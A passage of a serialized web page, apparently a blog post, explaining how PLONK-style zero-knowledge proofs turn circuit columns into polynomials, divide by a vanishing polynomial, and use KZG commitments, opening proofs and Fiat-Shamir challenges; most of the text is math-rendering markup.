polynomials",{"type":28,"value":8467},{"type":22,"tag":114,"props":144390,"children":144392},{"className":144391},[5995,5996],[144393],{"type":22,"tag":118,"props":144394,"children":144396},{"className":144395},[6001],[144397],{"type":22,"tag":118,"props":144398,"children":144400},{"className":144399,"ariaHidden":6007},[6006],[144401],{"type":22,"tag":118,"props":144402,"children":144404},{"className":144403},[6012],[144405,144409,144466,144471,144476],{"type":22,"tag":118,"props":144406,"children":144408},{"className":144407,"style":6125},[6017],[],{"type":22,"tag":118,"props":144410,"children":144412},{"className":144411},[6023],[144413,144418],{"type":22,"tag":118,"props":144414,"children":144416},{"className":144415,"style":96997},[6023,23542],[144417],{"type":28,"value":35024},{"type":22,"tag":118,"props":144419,"children":144421},{"className":144420},[6040],[144422],{"type":22,"tag":118,"props":144423,"children":144425},{"className":144424},[6045,23596],[144426,144455],{"type":22,"tag":118,"props":144427,"children":144429},{"className":144428},[6050],[144430,144450],{"type":22,"tag":118,"props":144431,"children":144433},{"className":144432,"style":144198},[6055],[144434],{"type":22,"tag":118,"props":144435,"children":144436},{"style":97018},[144437,144441],{"type":22,"tag":118,"props":144438,"children":144440},{"className":144439,"style":6065},[6064],[],{"type":22,"tag":118,"props":144442,"children":144444},{"className":144443},[6070,6071,6072,6073],[144445],{"type":22,"tag":118,"props":144446,"children":144448},{"className":144447},[6023,23542,6073],[144449],{"type":28,"value":119607},{"type":22,"tag":118,"props":144451,"children":144453},{"className":144452},[23699],[144454],{"type":28,"value":23702},{"type":22,"tag":118,"props":144456,"children":144458},{"className":144457},[6050],[144459],{"type":22,"tag":118,"props":144460,"children":144462},{"className":144461,"style":94726},[6055],[144463],{"type":22,"tag":118,"props":144464,"children":144465},{},[],{"type":22,"tag":118,"props":144467,"children":144469},{"className":144468},[23671],[144470],{"type":28,"value":540},{"type":22,"tag":118,"props":144472,"children":144474},{"className":144473},[6023,23542],[144475],{"type":28,"value":21243},{"type":22,"tag":118,"props":144477,"children":144479},{"className":144478},[23693],[144480],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":144483,"children":144485},{"className":144484},[5995,5996],[144486],{"type":22,"tag":118,"props":144487,"children":144489},{"className":144488},[6001],[144490],{"type":22,"tag":118,"props":144491,"children":144493},{"className":144492,"ariaHidden":6007},[6006],[144494],{"type":22,"tag":118,"props":144495,"children":144497},{"className":144496},[6012],[144498,144502,144559,144564,144569],{"type":22,"tag":118,"props":144499,"children":144501},{"className":144500,"style":6125},[6017],[],{"type":22,"tag":118,"props":144503,"children":144505},{"className":144504},[6023],[144506,144511],{"type":22,"tag":118,"props":144507,"children":144509},{"className":144508,"style":96997},[6023,23542],[144510],{"type":28,"value":35024},{"type":22,"tag":118,"props":144512,"children":144514},{"className":144513},[6040],[144515],{"type":22,"tag":118,"props":144516,"children":144518},{"className":144517},[6045,23596],[144519,144548],{"type":22,"tag":118,"props":144520,"children":144522},{"className":144521},[6050],[144523,144543],{"type":22,"tag":118,"props":144524,"children":144526},{"className":144525,"style":144198},[6055],[144527],{"type":22,"tag":118,"props":144528,"children":144529},{"style":97018},[144530,144534],{"type":22,"tag":118,"props":144531,"children":144533},{"className":144532,"style":6065},[6064],[],{"type":22,"tag":118,"props":144535,"children":144537},{"className":144536},[6070,6071,6072,6073],[144538],{"type":22,"tag":118,"props":144539,"children":144541},{"className":144540,"style":124420},[6023,23542,6073],[144542],{"type":28,"value":124423},{"type":22,"tag":118,"props":144544,"children":144546},{"className":144545},[23699],[144547],{"type":28,"value":23702},{"type":22,"tag":118,"props":144549,"children":144551},{"className":144550},[6050],[144552],{"type":22,"tag":118,"props":144553,"children":144555},{"className":144554,"style":94726},[6055],[144556],{"type":22,"tag":118,"props":144557,"children":144558},{},[],{"type":22,"tag":118,"props":144560,"children":144562},{"className":144561},[23671],[144563],{"type":28,"value":540},{"type":22,"tag":118,"props":144565,"children":144567},{"className":144566},[6023,23542],[144568],{"type":28,"value":21243},{"type":22,"tag":118,"props":144570,"children":144572},{"className":144571},[23693],[144573],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":144576,"children":144578},{"className":144577},[5995,5996],[144579],{"type":22,"tag":118,"props":144580,"children":144582},{"className":144581},[6001],[144583],{"type":22,"tag":118,"props":144584,"children":144586},{"className":144585,"ariaHidden":6007},[6006],[144587],{"type":22,"tag":118,"props":144588,"children":144590},{"className":144589},[6012],[144591,144595,144652,144657,144662],{"type":22,"tag":118,"props":144592,"children":144594},{"className":144593,"style":6125},[6017],[],{"type":22,"tag":118,"props":144596,"children":144598},{"className":144597},[6023],[144599,144604],{"type":22,"tag":118,"props":144600,"children":144602},{"className":144601,"style":96997},[6023,23542],[144603],{"type":28,"value":35024},{"type":22,"tag":118,"props":144605,"children":144607},{"className":144606},[6040],[144608],{"type":22,"tag":118,"props":144609,"children":144611},{"className":144610},[6045,23596],[144612,144641],{"type":22,"tag":118,"props":144613,"children":144615},{"className":144614},[6050],[144616,144636],{"type":22,"tag":118,"props":144617,"children":144619},{"className":144618,"style":144198},[6055],[144620],{"type":22,"tag":118,"props":144621,"children":144622},{"style":97018},[144623,144627],{"type":22,"tag":118,"props":144624,"children":144626},{"className":144625,"style":6065},[6064],[],{"type":22,"tag":118,"props":144628,"children":144630},{"className":144629},[6070,6071,6072,6073],[144631],{"type":22,"tag":118,"props":144632,"children":144634},{"className":144633,"style":94643},[6023,23542,6073],[144635],{"type":28,"value":116962},{"type":22,"tag":118,"props":144637,"children":144639},{"className":144638},[23699],[144640],{"type":28,"value":23702},{"type":22,"tag":118,"props":144642,"children":144644},{"className":144643},[6050],[144645],{"type":22,"tag":118,"props":144646,"children":144648},{"className":144647,"style":94726},[6055],[144649],{"type":22,"tag":118,"props":144650,"children":144651},{},[],{"type":22,"tag":118,"props":144653,"children":144655},{"className":144654},[23671],[144656],{"type":28,"value":540},{"type":22,"tag":118,"props":144658,"children":144660},{"className":144659},[6023,23542],[144661],{"type":28,"value":21243},{"type":22,"tag":118,"props":144663,"children":144665},{"className":144664},[23693],[144666],{"type":28,"value":3627},{"type":28,"value":144668}," and the selectors become ",{"type":22,"tag":4764,"props":144670,"children":144671},{},[144672],{"type":28,"value":144673},"selector polynomials",{"type":28,"value":8467},{"type":22,"tag":114,"props":144676,"children":144678},{"className":144677},[5995,5996],[144679],{"type":22,"tag":118,"props":144680,"children":144682},{"className":144681},[6001],[144683],{"type":22,"tag":118,"props":144684,"children":144686},{"className":144685,"ariaHidden":6007},[6006],[144687],{"type":22,"tag":118,"props":144688,"children":144690},{"className":144689},[6012],[144691,144695,144752,144757,144762],{"type":22,"tag":118,"props":144692,"children":144694},{"className":144693,"style":6125},[6017],[],{"type":22,"tag":118,"props":144696,"children":144698},{"className":144697},[6023],[144699,144704],{"type":22,"tag":118,"props":144700,"children":144702},{"className":144701},[6023,23542],[144703],{"type":28,"value":78398},{"type":22,"tag":118,"props":144705,"children":144707},{"className":144706},[6040],[144708],{"type":22,"tag":118,"props":144709,"children":144711},{"className":144710},[6045,23596],[144712,144741],{"type":22,"tag":118,"props":144713,"children":144715},{"className":144714},[6050],[144716,144736],{"type":22,"tag":118,"props":144717,"children":144719},{"className":144718,"style":144198},[6055],[144720],{"type":22,"tag":118,"props":144721,"children":144722},{"style":94699},[144723,144727],{"type":22,"tag":118,"props":144724,"children":144726},{"className":144725,"style":6065},[6064],[],{"type":22,"tag":118,"props":144728,"children":144730},{"className":144729},[6070,6071,6072,6073],[144731],{"type":22,"tag":118,"props":144732,"children":144734},{"className":144733,"style":96651},[6023,23542,6073],[144735],{"type":28,"value":96654},{"type":22,"tag":118,"props":144737,"children":144739},{"className":144738},[23699],[144740],{"type":28,"value":23702},{"type":22,"tag":118,"props":144742,"children":144744},{"className":144743},[6050],[144745],{"type":22,"tag":118,"props":144746,"children":144748},{"className":144747,"style":94726},[6055],[144749],{"type":22,"tag":118,"props":144750,"children":144751},{},[],{"type":22,"tag":118,"props":144753,"children":144755},{"className":144754},[23671],[144756],{"type":28,"value":540},{"type":22,"tag":118,"props":144758,"children":144760},{"className":144759},[6023,23542],[144761],{"type":28,"value":21243},{"type":22,"tag":118,"props":144763,"children":144765},{"className":144764},[23693],[144766],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":144769,"children":144771},{"className":144770},[5995,5996],[144772],{"type":22,"tag":118,"props":144773,"children":144775},{"className":144774},[6001],[144776],{"type":22,"tag":118,"props":144777,"children":144779},{"className":144778,"ariaHidden":6007},[6006],[144780],{"type":22,"tag":118,"props":144781,"children":144783},{"className":144782},[6012],[144784,144788,144845,144850,144855],{"type":22,"tag":118,"props":144785,"children":144787},{"className":144786,"style":6125},[6017],[],{"type":22,"tag":118,"props":144789,"children":144791},{"className":144790},[6023],[144792,144797],{"type":22,"tag":118,"props":144793,"children":144795},{"className":144794},[6023,23542],[144796],{"type":28,"value":78398},{"type":22,"tag":118,"props":144798,"children":144800},{"className":144799},[6040],[144801],{"type":22,"tag":118,"props":144802,"children":144804},{"className":144803},[6045,23596],[144805,144834],{"type":22,"tag":118,"props":144806,"children":144808},{"className":144807},[6050],[144809,144829],{"type":22,"tag":118,"props":144810,"children":144812},{"className":144811,"style":144198},[6055],[144813],{"type":22,"tag":118,"props":144814,"children":144815},{"style":94699},[144816,144820],{"type":22,"tag":118,"props":144817,"children":144819},{"className":144818,"style":6065},[6064],[],{"type":22,"tag":118,"props":144821,"children":144823},{"className":144822},[6070,6071,6072,6073],[144824],{"type":22,"tag":118,"props":144825,"children":144827},{"className":144826},[6023,23542,6073],[144828],{"type":28,"value":119607},{"type":22,"tag":118,"props":144830,"children":144832},{"className":144831},[23699],[144833],{"type":28,"value":23702},{"type":22,"tag":118,"props":144835,"children":144837},{"className":144836},[6050],[144838],{"type":22,"tag":118,"props":144839,"children":144841},{"className":144840,"style":94726},[6055],[144842],{"type":22,"tag":118,"props":144843,"children":144844},{},[],{"type":22,"tag":118,"props":144846,"children":144848},{"className":144847},[23671],[144849],{"type":28,"value":540},{"type":22,"tag":118,"props":144851,"children":144853},{"className":144852},[6023,23542],[144854],{"type":28,"value":21243},{"type":22,"tag":118,"props":144856,"children":144858},{"className":144857},[23693],[144859],{"type":28,"value":3627},{"type":28,"value":144861},", etc., all interpolated over a domain ",{"type":22,"tag":114,"props":144863,"children":144865},{"className":144864},[5995,5996],[144866],{"type":22,"tag":118,"props":144867,"children":144869},{"className":144868},[6001],[144870],{"type":22,"tag":118,"props":144871,"children":144873},{"className":144872,"ariaHidden":6007},[6006],[144874],{"type":22,"tag":118,"props":144875,"children":144877},{"className":144876},[6012],[144878,144882],{"type":22,"tag":118,"props":144879,"children":144881},{"className":144880,"style":23537},[6017],[],{"type":22,"tag":118,"props":144883,"children":144885},{"className":144884,"style":94877},[6023,23542],[144886],{"type":28,"value":94880},{"type":28,"value":144888}," of ",{"type":22,"tag":114,"props":144890,"children":144892},{"className":144891},[5995,5996],[144893],{"type":22,"tag":118,"props":144894,"children":144896},{"className":144895},[6001],[144897],{"type":22,"tag":118,"props":144898,"children":144900},{"className":144899,"ariaHidden":6007},[6006],[144901],{"type":22,"tag":118,"props":144902,"children":144904},{"className":144903},[6012],[144905,144909],{"type":22,"tag":118,"props":144906,"children":144908},{"className":144907,"style":112484},[6017],[],{"type":22,"tag":118,"props":144910,"children":144912},{"className":144911},[6023,23542],[144913],{"type":28,"value":58344},{"type":28,"value":144915},"-th roots of unity. Evaluating ",{"type":22,"tag":114,"props":144917,"children":144919},{"className":144918},[5995,5996],[144920],{"type":22,"tag":118,"props":144921,"children":144923},{"className":144922},[6001],[144924],{"type":22,"tag":118,"props":144925,"children":144927},{"className":144926,"ariaHidden":6007},[6006],[144928],{"type":22,"tag":118,"props":144929,"children":144931},{"className":144930},[6012],[144932,144936,144993,144998,145003],{"type":22,"tag":118,"props":144933,"children":144935},{"className":144934,"style":6125},[6017],[],{"type":22,"tag":118,"props":144937,"children":144939},{"className":144938},[6023],[144940,144945],{"type":22,"tag":118,"props":144941,"children":144943},{"className":144942,"style":96997},[6023,23542],[144944],{"type":28,"value":35024},{"type":22,"tag":118,"props":144946,"children":144948},{"className":144947},[6040],[144949],{"type":22,"tag":118,"props":144950,"children":144952},{"className":144951},[6045,23596],[144953,144982],{"type":22,"tag":118,"props":144954,"children":144956},{"className":144955},[6050],[144957,144977],{"type":22,"tag":118,"props":144958,"children":144960},{"className":144959,"style":144198},[6055],[144961],{"type":22,"tag":118,"props":144962,"children":144963},{"style":97018},[144964,144968],{"type":22,"tag":118,"props":144965,"children":144967},{"className":144966,"style":6065},[6064],[],{"type":22,"tag":118,"props":144969,"children":144971},{"className":144970},[6070,6071,6072,6073],[144972],{"type":22,"tag":118,"props":144973,"children":144975},{"className":144974},[6023,23542,6073],[144976],{"type":28,"value":119607},{"type":22,"tag":118,"props":144978,"children":144980},{"className":144979},[23699],[144981],{"type":28,"value":23702},{"type":22,"tag":118,"props":144983,"children":144985},{"className":144984},[6050],[144986],{"type":22,"tag":118,"props":144987,"children":144989},{"className":144988,"style":94726},[6055],[144990],{"type":22,"tag":118,"props":144991,"children":144992},{},[],{"type":22,"tag":118,"props":144994,"children":144996},{"className":144995},[23671],[144997],{"type":28,"value":540},{"type":22,"tag":118,"props":144999,"children":145001},{"className":145000},[6023,23542],[145002],{"type":28,"value":21243},{"type":22,"tag":118,"props":145004,"children":145006},{"className":145005},[23693],[145007],{"type":28,"value":3627},{"type":28,"value":145009}," at the ",{"type":22,"tag":114,"props":145011,"children":145013},{"className":145012},[5995,5996],[145014],{"type":22,"tag":118,"props":145015,"children":145017},{"className":145016},[6001],[145018],{"type":22,"tag":118,"props":145019,"children":145021},{"className":145020,"ariaHidden":6007},[6006],[145022],{"type":22,"tag":118,"props":145023,"children":145025},{"className":145024},[6012],[145026,145030],{"type":22,"tag":118,"props":145027,"children":145029},{"className":145028,"style":143894},[6017],[],{"type":22,"tag":118,"props":145031,"children":145033},{"className":145032},[6023,23542],[145034],{"type":28,"value":3613},{"type":28,"value":145036},"-th root recovers the left wire value at row ",{"type":22,"tag":114,"props":145038,"children":145040},{"className":145039},[5995,5996],[145041],{"type":22,"tag":118,"props":145042,"children":145044},{"className":145043},[6001],[145045],{"type":22,"tag":118,"props":145046,"children":145048},{"className":145047,"ariaHidden":6007},[6006],[145049],{"type":22,"tag":118,"props":145050,"children":145052},{"className":145051},[6012],[145053,145057],{"type":22,"tag":118,"props":145054,"children":145056},{"className":145055,"style":143894},[6017],[],{"type":22,"tag":118,"props":145058,"children":145060},{"className":145059},[6023,23542],[145061],{"type":28,"value":3613},{"type":28,"value":292},{"type":22,"tag":145064,"props":145065,"children":145066},"polynomial-interpolation-panel",{},[],{"type":22,"tag":31,"props":145068,"children":145069},{},[145070,145072,145112,145114,145180,145182,145312,145314,145354,145356,145396,145398,145438,145439,145561],{"type":28,"value":145071},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":22,"tag":114,"props":145073,"children":145075},{"className":145074},[5995,5996],[145076],{"type":22,"tag":118,"props":145077,"children":145079},{"className":145078},[6001],[145080],{"type":22,"tag":118,"props":145081,"children":145083},{"className":145082,"ariaHidden":6007},[6006],[145084],{"type":22,"tag":118,"props":145085,"children":145087},{"className":145086},[6012],[145088,145092,145097,145102,145107],{"type":22,"tag":118,"props":145089,"children":145091},{"className":145090,"style":6125},[6017],[],{"type":22,"tag":118,"props":145093,"children":145095},{"className":145094,"style":23543},[6023,23542],[145096],{"type":28,"value":123421},{"type":22,"tag":118,"props":145098,"children":145100},{"className":145099},[23671],[145101],{"type":28,"value":540},{"type":22,"tag":118,"props":145103,"children":145105},{"className":145104},[6023,23542],[145106],{"type":28,"value":21243},{"type":22,"tag":118,"props":145108,"children":145110},{"className":145109},[23693],[145111],{"type":28,"value":3627},{"type":28,"value":145113}," that combines selectors and witnesses. If the prover was honest, ",{"type":22,"tag":114,"props":145115,"children":145117},{"className":145116},[5995,5996],[145118],{"type":22,"tag":118,"props":145119,"children":145121},{"className":145120},[6001],[145122],{"type":22,"tag":118,"props":145123,"children":145125},{"className":145124,"ariaHidden":6007},[6006],[145126,145167],{"type":22,"tag":118,"props":145127,"children":145129},{"className":145128},[6012],[145130,145134,145139,145144,145149,145154,145158,145163],{"type":22,"tag":118,"props":145131,"children":145133},{"className":145132,"style":6125},[6017],[],{"type":22,"tag":118,"props":145135,"children":145137},{"className":145136,"style":23543},[6023,23542],[145138],{"type":28,"value":123421},{"type":22,"tag":118,"props":145140,"children":145142},{"className":145141},[23671],[145143],{"type":28,"value":540},{"type":22,"tag":118,"props":145145,"children":145147},{"className":145146},[6023,23542],[145148],{"type":28,"value":21243},{"type":22,"tag":118,"props":145150,"children":145152},{"className":145151},[23693],[145153],{"type":28,"value":3627},{"type":22,"tag":118,"props":145155,"children":145157},{"className":145156,"style":6202},[6104],[],{"type":22,"tag":118,"props":145159,"children":145161},{"className":145160},[6207],[145162],{"type":28,"value":282},{"type":22,"tag":118,"props":145164,"children":145166},{"className":145165,"style":6202},[6104],[],{"type":22,"tag":118,"props":145168,"children":145170},{"className":145169},[6012],[145171,145175],{"type":22,"tag":118,"props":145172,"children":145174},{"className":145173,"style":95674},[6017],[],{"type":22,"tag":118,"props":145176,"children":145178},{"className":145177},[6023],[145179],{"type":28,"value":6036},{"type":28,"value":145181}," at every row index in the domain. The vanishing polynomial ",{"type":22,"tag":114,"props":145183,"children":145185},{"className":145184},[5995,5996],[145186],{"type":22,"tag":118,"props":145187,"children":145189},{"className":145188},[6001],[145190],{"type":22,"tag":118,"props":145191,"children":145193},{"className":145192,"ariaHidden":6007},[6006],[145194,145236,145299],{"type":22,"tag":118,"props":145195,"children":145197},{"className":145196},[6012],[145198,145202,145208,145213,145218,145223,145227,145232],{"type":22,"tag":118,"props":145199,"children":145201},{"className":145200,"style":6125},[6017],[],{"type":22,"tag":118,"props":145203,"children":145205},{"className":145204,"style":24074},[6023,23542],[145206],{"type":28,"value":145207},"Z",{"type":22,"tag":118,"props":145209,"children":145211},{"className":145210},[23671],[145212],{"type":28,"value":540},{"type":22,"tag":118,"props":145214,"children":145216},{"className":145215},[6023,23542],[145217],{"type":28,"value":21243},{"type":22,"tag":118,"props":145219,"children":145221},{"className":145220},[23693],[145222],{"type":28,"value":3627},{"type":22,"tag":118,"props":145224,"children":145226},{"className":145225,"style":6202},[6104],[],{"type":22,"tag":118,"props":145228,"children":145230},{"className":145229},[6207],[145231],{"type":28,"value":282},{"type":22,"tag":118,"props":145233,"children":145235},{"className":145234,"style":6202},[6104],[],{"type":22,"tag":118,"props":145237,"children":145239},{"className":145238},[6012],[145240,145245,145286,145290,145295],{"type":22,"tag":118,"props":145241,"children":145244},{"className":145242,"style":145243},[6017],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":145246,"children":145248},{"className":145247},[6023],[145249,145254],{"type":22,"tag":118,"props":145250,"children":145252},{"className":145251},[6023,23542],[145253],{"type":28,"value":21243},{"type":22,"tag":118,"props":145255,"children":145257},{"className":145256},[6040],[145258],{"type":22,"tag":118,"props":145259,"children":145261},{"className":145260},[6045],[145262],{"type":22,"tag":118,"props":145263,"children":145265},{"className":145264},[6050],[145266],{"type":22,"tag":118,"props":145267,"children":145269},{"className":145268,"style":110360},[6055],[145270],{"type":22,"tag":118,"props":145271,"children":145272},{"style":6059},[145273,145277],{"type":22,"tag":118,"props":145274,"children":145276},{"className":145275,"style":6065},[6064],[],{"type":22,"tag":118,"props":145278,"children":145280},{"className":145279},[6070,6071,6072,6073],[145281],{"type":22,"tag":118,"props":145282,"children":145284},{"className":145283},[6023,23542,6073],[145285],{"type":28,"value":58344},{"type":22,"tag":118,"props":145287,"children":145289},{"className":145288,"style":6105},[6104],[],{"type":22,"tag":118,"props":145291,"children":145293},{"className":145292},[6110],[145294],{"type":28,"value":6084},{"type":22,"tag":118,"props":145296,"children":145298},{"className":145297,"style":6105},[6104],[],{"type":22,"tag":118,"props":145300,"children":145302},{"className":145301},[6012],[145303,145307],{"type":22,"tag":118,"props":145304,"children":145306},{"className":145305,"style":95674},[6017],[],{"type":22,"tag":118,"props":145308,"children":145310},{"className":145309},[6023],[145311],{"type":28,"value":6026},{"type":28,"value":145313}," is zero on exactly those points, so if all constraints hold then ",{"type":22,"tag":114,"props":145315,"children":145317},{"className":145316},[5995,5996],[145318],{"type":22,"tag":118,"props":145319,"children":145321},{"className":145320},[6001],[145322],{"type":22,"tag":118,"props":145323,"children":145325},{"className":145324,"ariaHidden":6007},[6006],[145326],{"type":22,"tag":118,"props":145327,"children":145329},{"className":145328},[6012],[145330,145334,145339,145344,145349],{"type":22,"tag":118,"props":145331,"children":145333},{"className":145332,"style":6125},[6017],[],{"type":22,"tag":118,"props":145335,"children":145337},{"className":145336,"style":24074},[6023,23542],[145338],{"type":28,"value":145207},{"type":22,"tag":118,"props":145340,"children":145342},{"className":145341},[23671],[145343],{"type":28,"value":540},{"type":22,"tag":118,"props":145345,"children":145347},{"className":145346},[6023,23542],[145348],{"type":28,"value":21243},{"type":22,"tag":118,"props":145350,"children":145352},{"className":145351},[23693],[145353],{"type":28,"value":3627},{"type":28,"value":145355}," divides ",{"type":22,"tag":114,"props":145357,"children":145359},{"className":145358},[5995,5996],[145360],{"type":22,"tag":118,"props":145361,"children":145363},{"className":145362},[6001],[145364],{"type":22,"tag":118,"props":145365,"children":145367},{"className":145366,"ariaHidden":6007},[6006],[145368],{"type":22,"tag":118,"props":145369,"children":145371},{"className":145370},[6012],[145372,145376,145381,145386,145391],{"type":22,"tag":118,"props":145373,"children":145375},{"className":145374,"style":6125},[6017],[],{"type":22,"tag":118,"props":145377,"children":145379},{"className":145378,"style":23543},[6023,23542],[145380],{"type":28,"value":123421},{"type":22,"tag":118,"props":145382,"children":145384},{"className":145383},[23671],[145385],{"type":28,"value":540},{"type":22,"tag":118,"props":145387,"children":145389},{"className":145388},[6023,23542],[145390],{"type":28,"value":21243},{"type":22,"tag":118,"props":145392,"children":145394},{"className":145393},[23693],[145395],{"type":28,"value":3627},{"type":28,"value":145397},", yielding a quotient polynomial ",{"type":22,"tag":114,"props":145399,"children":145401},{"className":145400},[5995,5996],[145402],{"type":22,"tag":118,"props":145403,"children":145405},{"className":145404},[6001],[145406],{"type":22,"tag":118,"props":145407,"children":145409},{"className":145408,"ariaHidden":6007},[6006],[145410],{"type":22,"tag":118,"props":145411,"children":145413},{"className":145412},[6012],[145414,145418,145423,145428,145433],{"type":22,"tag":118,"props":145415,"children":145417},{"className":145416,"style":6125},[6017],[],{"type":22,"tag":118,"props":145419,"children":145421},{"className":145420,"style":23543},[6023,23542],[145422],{"type":28,"value":7997},{"type":22,"tag":118,"props":145424,"children":145426},{"className":145425},[23671],[145427],{"type":28,"value":540},{"type":22,"tag":118,"props":145429,"children":145431},{"className":145430},[6023,23542],[145432],{"type":28,"value":21243},{"type":22,"tag":118,"props":145434,"children":145436},{"className":145435},[23693],[145437],{"type":28,"value":3627},{"type":28,"value":23458},{"type":22,"tag":114,"props":145440,"children":145442},{"className":145441},[5995,5996],[145443],{"type":22,"tag":118,"props":145444,"children":145446},{"className":145445},[6001],[145447],{"type":22,"tag":118,"props":145448,"children":145450},{"className":145449,"ariaHidden":6007},[6006],[145451,145492,145533],{"type":22,"tag":118,"props":145452,"children":145454},{"className":145453},[6012],[145455,145459,145464,145469,145474,145479,145483,145488],{"type":22,"tag":118,"props":145456,"children":145458},{"className":145457,"style":6125},[6017],[],{"type":22,"tag":118,"props":145460,"children":145462},{"className":145461,"style":23543},[6023,23542],[145463],{"type":28,"value":123421},{"type":22,"tag":118,"props":145465,"children":145467},{"className":145466},[23671],[145468],{"type":28,"value":540},{"type":22,"tag":118,"props":145470,"children":145472},{"className":145471},[6023,23542],[145473],{"type":28,"value":21243},{"type":22,"tag":118,"props":145475,"children":145477},{"className":145476},[23693],[145478],{"type":28,"value":3627},{"type":22,"tag":118,"props":145480,"children":145482},{"className":145481,"style":6202},[6104],[],{"type":22,"tag":118,"props":145484,"children":145486},{"className":145485},[6207],[145487],{"type":28,"value":282},{"type":22,"tag":118,"props":145489,"children":145491},{"className":145490,"style":6202},[6104],[],{"type":22,"tag":118,"props":145493,"children":145495},{"className":145494},[6012],[145496,145500,145505,145510,145515,145520,145524,145529],{"type":22,"tag":118,"props":145497,"children":145499},{"className":145498,"style":6125},[6017],[],{"type":22,"tag":118,"props":145501,"children":145503},{"className":145502,"style":23543},[6023,23542],[145504],{"type":28,"value":7997},{"type":22,"tag":118,"props":145506,"children":145508},{"className":145507},[23671],[145509],{"type":28,"value":540},{"type":22,"tag":118,"props":145511,"children":145513},{"className":145512},[6023,23542],[145514],{"type":28,"value":21243},{"type":22,"tag":118,"props":145516,"children":145518},{"className":145517},[23693],[145519],{"type":28,"value":3627},{"type":22,"tag":118,"props":145521,"children":145523},{"className":145522,"style":6105},[6104],[],{"type":22,"tag":118,"props":145525,"children":145527},{"className":145526},[6110],[145528],{"type":28,"value":112905},{"type":22,"tag":118,"props":145530,"children":145532},{"className":145531,"style":6105},[6104],[],{"type":22,"tag":118,"props":145534,"children":145536},{"className":145535},[6012],[145537,145541,145546,145551,145556],{"type":22,"tag":118,"props":145538,"children":145540},{"className":145539,"style":6125},[6017],[],{"type":22,"tag":118,"props":145542,"children":145544},{"className":145543,"style":24074},[6023,23542],[145545],{"type":28,"value":145207},{"type":22,"tag":118,"props":145547,"children":145549},{"className":145548},[23671],[145550],{"type":28,"value":540},{"type":22,"tag":118,"props":145552,"children":145554},{"className":145553},[6023,23542],[145555],{"type":28,"value":21243},{"type":22,"tag":118,"props":145557,"children":145559},{"className":145558},[23693],[145560],{"type":28,"value":3627},{"type":28,"value":292},{"type":22,"tag":31,"props":145563,"children":145564},{},[145565],{"type":22,"tag":5928,"props":145566,"children":145569},{"alt":145567,"src":145568},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":22,"tag":1289,"props":145571,"children":145573},{"id":145572},"polynomial-commitments-and-opening-proofs",[145574],{"type":28,"value":145575},"Polynomial commitments and opening proofs",{"type":22,"tag":31,"props":145577,"children":145578},{},[145579,145581,145586,145588,145593],{"type":28,"value":145580},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":22,"tag":4764,"props":145582,"children":145583},{},[145584],{"type":28,"value":145585},"commitments",{"type":28,"value":145587},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":22,"tag":4764,"props":145589,"children":145590},{},[145591],{"type":28,"value":145592},"opening proof",{"type":28,"value":145594}," that the claimed value is consistent with the earlier commitment.",{"type":22,"tag":31,"props":145596,"children":145597},{},[145598],{"type":28,"value":145599},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":22,"tag":1289,"props":145601,"children":145603},{"id":145602},"reducing-to-a-single-random-point",[145604],{"type":28,"value":145605},"Reducing to a single random point",{"type":22,"tag":31,"props":145607,"children":145608},{},[145609,145611,145651,145653,145678,145680,145802,145804,145829],{"type":28,"value":145610},"After the prover commits to all polynomials, including ",{"type":22,"tag":114,"props":145612,"children":145614},{"className":145613},[5995,5996],[145615],{"type":22,"tag":118,"props":145616,"children":145618},{"className":145617},[6001],[145619],{"type":22,"tag":118,"props":145620,"children":145622},{"className":145621,"ariaHidden":6007},[6006],[145623],{"type":22,"tag":118,"props":145624,"children":145626},{"className":145625},[6012],[145627,145631,145636,145641,145646],{"type":22,"tag":118,"props":145628,"children":145630},{"className":145629,"style":6125},[6017],[],{"type":22,"tag":118,"props":145632,"children":145634},{"className":145633,"style":23543},[6023,23542],[145635],{"type":28,"value":7997},{"type":22,"tag":118,"props":145637,"children":145639},{"className":145638},[23671],[145640],{"type":28,"value":540},{"type":22,"tag":118,"props":145642,"children":145644},{"className":145643},[6023,23542],[145645],{"type":28,"value":21243},{"type":22,"tag":118,"props":145647,"children":145649},{"className":145648},[23693],[145650],{"type":28,"value":3627},{"type":28,"value":145652},", the verifier picks a random challenge point ",{"type":22,"tag":114,"props":145654,"children":145656},{"className":145655},[5995,5996],[145657],{"type":22,"tag":118,"props":145658,"children":145660},{"className":145659},[6001],[145661],{"type":22,"tag":118,"props":145662,"children":145664},{"className":145663,"ariaHidden":6007},[6006],[145665],{"type":22,"tag":118,"props":145666,"children":145668},{"className":145667},[6012],[145669,145673],{"type":22,"tag":118,"props":145670,"children":145672},{"className":145671,"style":112484},[6017],[],{"type":22,"tag":118,"props":145674,"children":145676},{"className":145675,"style":115200},[6023,23542],[145677],{"type":28,"value":115203},{"type":28,"value":145679}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":22,"tag":114,"props":145681,"children":145683},{"className":145682},[5995,5996],[145684],{"type":22,"tag":118,"props":145685,"children":145687},{"className":145686},[6001],[145688],{"type":22,"tag":118,"props":145689,"children":145691},{"className":145690,"ariaHidden":6007},[6006],[145692,145733,145774],{"type":22,"tag":118,"props":145693,"children":145695},{"className":145694},[6012],[145696,145700,145705,145710,145715,145720,145724,145729],{"type":22,"tag":118,"props":145697,"children":145699},{"className":145698,"style":6125},[6017],[],{"type":22,"tag":118,"props":145701,"children":145703},{"className":145702,"style":23543},[6023,23542],[145704],{"type":28,"value":123421},{"type":22,"tag":118,"props":145706,"children":145708},{"className":145707},[23671],[145709],{"type":28,"value":540},{"type":22,"tag":118,"props":145711,"children":145713},{"className":145712,"style":115200},[6023,23542],[145714],{"type":28,"value":115203},{"type":22,"tag":118,"props":145716,"children":145718},{"className":145717},[23693],[145719],{"type":28,"value":3627},{"type":22,"tag":118,"props":145721,"children":145723},{"className":145722,"style":6202},[6104],[],{"type":22,"tag":118,"props":145725,"children":145727},{"className":14